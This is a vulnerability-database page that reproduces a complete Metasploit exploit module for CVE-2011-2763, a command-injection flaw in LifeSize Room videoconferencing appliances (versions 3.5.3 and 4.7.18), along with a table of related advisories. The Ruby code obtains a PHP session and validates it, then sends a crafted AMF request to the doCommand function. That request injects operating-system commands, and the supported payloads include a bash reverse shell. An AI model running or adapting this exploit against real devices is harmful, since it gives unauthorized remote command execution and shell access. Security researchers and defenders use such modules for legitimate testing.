Lucene search
K

LifeSize Room Command Injection

🗓️ 28 Aug 2011 00:00:00Reported by Spencer McIntyreType 
zdt
 zdt
🔗 0day.today👁 22 Views

LifeSize Room Command Injection exploit for versions 3.5.3 and 4.7.18 with vulnerable PHP session handlin

Related
Code
ReporterTitlePublishedViews
Family
0day.today
LifeSize Room Command Injection
1 Nov 201100:00
zdt
ATTACKERKB
CVE-2011-2763
2 Sep 201100:00
attackerkb
Circl
CVE-2011-2763
28 Aug 201100:00
circl
Check Point Advisories
LifeSize Room Security Bypass and Command Injection Vulnerabilities (CVE-2011-2763)
26 Oct 201400:00
checkpoint_advisories
CVE
CVE-2011-2763
2 Sep 201116:00
cve
Cvelist
CVE-2011-2763
2 Sep 201116:00
cvelist
Exploit DB
LifeSize Room - Command Injection (Metasploit)
28 Aug 201100:00
exploitdb
Exploit DB
LifeSize Room Command Injection
2 Nov 201100:00
exploitdb
exploitpack
LifeSize Room - Command Injection (Metasploit)
28 Aug 201100:00
exploitpack
Metasploit
LifeSize Room Command Injection
2 Nov 201119:40
metasploit
Rows per page
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
 
    include Msf::Exploit::Remote::HttpClient
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'LifeSize Room Command Injection',
            'Description'    => %q{
                This module exploits a vulnerable resource in LifeSize
                Room  versions 3.5.3 and 4.7.18 to inject OS commmands.  LifeSize
                Room is an appliance and thus the environment is limited
                resulting in a small set of payload options.
            },
            'Author'    =>
                [
                    'Spencer McIntyre',
                    # Special Thanks To Chris Murrey
                    'SecureState R&D Team'
                ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 6 $',
            'References'     =>
                [
                    [ 'CVE', '2011-2763' ],
                ],
            'Privileged'     => false,
            'Payload'        =>
                {
                    'DisableNops' => true,
                    'Space'       => 65535,  # limited by the two byte size in the AMF encoding
                    'Compat'      =>
                        {
                            'PayloadType' => 'cmd cmd_bash',
                            'RequiredCmd' => 'generic bash-tcp',
                        }
                },
            'Platform'       => [ 'unix' ],
            'Arch'           => ARCH_CMD,
            'Targets'        => [ [ 'Automatic', { } ] ],
            'DisclosureDate' => 'July 13 2011',
            'DefaultTarget'  => 0))
             
        register_advanced_options(
            [
                OptString.new('UserAgent', [true, 'The User-Agent header to use for all requests', 'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.17) Gecko/20110428 Fedora/3.6.17-1.fc14 Firefox/3.6.17'])
            ], self.class)
 
    end
 
    def exploit
        print_status("Requesting PHP Session...")
        res = send_request_cgi({
            'encode'    =>   false,
            'uri'       =>   "/interface/interface.php?uniqueKey=#{rand_text_numeric(13)}",
            'method'    =>   'GET',
        }, 10)
        if not res.headers['set-cookie']
            print_error('Could Not Obtain A Session ID')
            return
        end
         
        sessionid = 'PHPSESSID=' << res.headers['set-cookie'].split('PHPSESSID=')[1].split('; ')[0]
        headers = {
            'Cookie'        => sessionid,
            'Content-Type'  => 'application/x-amf',
        }
         
        print_status("Validating PHP Session...")
        res = send_request_cgi({
                'encode'    => false,
                'uri'       => '/gateway.php',
                'data'      => "\x00\x00\x00\x00\x00\x02\x00\x1bLSRoom_Remoting.amfphpLogin\x00\x02/1\x00\x00\x00\x05\x0a\x00\x00\x00\x00\x00\x17LSRoom_Remoting.getHost\x00\x02\x2f\x32\x00\x00\x00\x05\x0a\x00\x00\x00\x00",
                'method'    => 'POST',
                'headers'   => headers,
        })
        if not res
            print_error('Could Not Validate The Session ID')
            return
        end
         
        print_status("Sending Malicious POST Request...")
        # This is the amf data for the request to the vulnerable function LSRoom_Remoting.doCommand
        amf_data = "\x00\x00\x00\x00\x00\x01\x00\x19LSRoom_Remoting.doCommand\x00\x02\x2f\x37\xff\xff\xff\xff\x0a\x00\x00\x00\x02\x02#{[payload.encoded.length].pack('n')}#{payload.encoded}\x02\x00\x0dupgradeStatus"
        res = send_request_cgi({
                'encode'    => false,
                'uri'       => '/gateway.php?' << sessionid,
                'data'      => amf_data,
                'method'    => 'POST',
                'headers'   =>   headers
        }, 10)
    end
     
end



#  0day.today [2018-04-08]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation